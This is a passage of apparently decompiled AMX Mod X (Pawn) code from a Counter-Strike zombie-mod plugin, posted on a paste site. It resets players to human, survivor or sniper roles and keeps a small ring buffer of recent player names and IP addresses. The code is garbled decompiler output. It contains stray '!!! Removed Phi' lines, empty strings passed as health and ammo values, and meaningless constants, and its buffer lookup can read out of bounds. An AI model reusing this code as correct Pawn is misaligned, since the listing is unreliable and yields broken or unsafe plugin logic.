  7565. MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
  7566. {
  7567. !!! Removed Phi
  7568. remove_task(iPlayer + 250, 0);
  7569. remove_task(iPlayer + 200, 0);
  7570. remove_task(iPlayer + 350, 0);
  7571. g_bKilling[iPlayer] = 0;
  7572. g_bNoDamage[iPlayer] = 0;
  7573. g_bFlashEnabled[iPlayer] = 0;
  7574. g_bFlash[iPlayer] = 0;
  7575. g_bFrozen[iPlayer] = 0;
  7576. g_bZombie[iPlayer] = 0;
  7577. g_iBurningDuration[iPlayer] = 0;
  7578. g_iPlayerType[iPlayer] = 0;
  7579. new var1 = g_cClass[iPlayer][0][0];
  7580. var1[0] = 338884;
  7581. set_zombie(iPlayer, 0);
  7582. set_monster(iPlayer, 0);
  7583. remove_glow(iPlayer);
  7584. set_frozen(iPlayer, 0);
  7585. strip(iPlayer);
  7586. if (bSurvivor)
  7587. {
  7588. new var2 = g_iPlayerType[iPlayer];
  7589. var2 = var2[0][0] | 4;
  7590. new var3 = g_cClass[iPlayer][0][0];
  7591. var3[0] = 338908;
  7592. set_health(iPlayer, 3000);
  7593. give_weapon(iPlayer, "weapon_ak47");
  7594. give_ammo(iPlayer, 28, 9999);
  7595. give_weapon(iPlayer, "weapon_xm1014");
  7596. give_ammo(iPlayer, "", 9999);
  7597. if (!user_has_weapon(iPlayer, 4, -1))
  7598. {
  7599. give_weapon(iPlayer, "weapon_hegrenade");
  7600. }
  7601. }
  7602. else
  7603. {
  7604. if (bSniper)
  7605. {
  7606. new var4 = g_iPlayerType[iPlayer];
  7607. var4 = var4[0][0] | 8;
  7608. new var5 = g_cClass[iPlayer][0][0];
  7609. var5[0] = 339116;
  7610. set_health(iPlayer, 2500);
  7611. give_weapon(iPlayer, "weapon_awp");
  7612. give_weapon(iPlayer, "weapon_knife");
  7613. give_ammo(iPlayer, "", 9999);
  7614. }
  7615. set_health(iPlayer, "");
  7616. give_weapon(iPlayer, "weapon_knife");
  7617. set_task(0.20, "TaskShowMenu", iPlayer, "", 0, "", 0);
  7618. send_teleport(iPlayer);
  7619. sound(iPlayer, "", "ZombieOutstanding/antidote.wav");
  7620. set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
  7621. ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer][0][0]);
  7622. }
  7623. if (get_team(iPlayer) != 2)
  7624. {
  7625. g_bSwitching = 1;
  7626. set_team(iPlayer, "");
  7627. g_bSwitching = 0;
  7628. }
  7629. static Float:fCurrentTime;
  7630. fCurrentTime = get_gametime();
  7631. if (fCurrentTime - g_fLastChangedModel >= 0.25/*1048576000*/)
  7632. {
  7633. ChangeModel(iPlayer + 250);
  7634. g_fLastChangedModel = fCurrentTime;
  7635. }
  7636. else
  7637. {
  7638. set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
  7639. g_fLastChangedModel = g_fLastChangedModel + 0.25;
  7640. }
  7641. ExecuteHamB(Ham_Item_PreFrame, iPlayer);
  7642. return 0;
  7643. }
  7644.  
  7645. InsertInfo(iPlayer)
  7646. {
  7647. !!! Removed Phi
  7648. if (0 < g_iSize)
  7649. {
  7650. static iLast;
  7651. iLast = 0;
  7652. if (g_iSize < 10)
  7653. {
  7654. iLast = g_iSize + -1;
  7655. }
  7656. else
  7657. {
  7658. iLast = g_iTracker + -1;
  7659. if (0 > iLast)
  7660. {
  7661. iLast = g_iSize + -1;
  7662. }
  7663. }
  7664. if (equal(g_cInternetProtocolAddress[iPlayer][0][0], g_cAddresses[iLast][0][0], 0))
  7665. {
  7666. copy(g_cNames[iLast][0][0], 32, g_cName[iPlayer][0][0]);
  7667. return 0;
  7668. }
  7669. }
  7670. static iTarget;
  7671. iTarget = 0;
  7672. if (g_iSize < 10)
  7673. {
  7674. iTarget = g_iSize;
  7675. g_iSize += 1;
  7676. }
  7677. else
  7678. {
  7679. iTarget = g_iTracker;
  7680. g_iTracker += 1;
  7681. if (g_iTracker == 10)
  7682. {
  7683. g_iTracker = 0;
  7684. }
  7685. }
  7686. copy(g_cNames[iTarget][0][0], 32, g_cName[iPlayer][0][0]);
  7687. copy(g_cAddresses[iTarget][0][0], 24, g_cInternetProtocolAddress[iPlayer][0][0]);
  7688. return 0;
  7689. }
  7690.  
  7691. GetInfo(i, String:cName[], iNameSize, String:cAddress[], iAddressSize)
  7692. {
  7693. static iTarget;
  7694. iTarget = i + g_iTracker;
  7695. copy(cName, iNameSize, g_cNames[iTarget][0][0]);
  7696. copy(cAddress, iAddressSize, g_cAddresses[iTarget][0][0]);
  7697. return 0;
  7698. }
Add Comment
Please, Sign In to add comment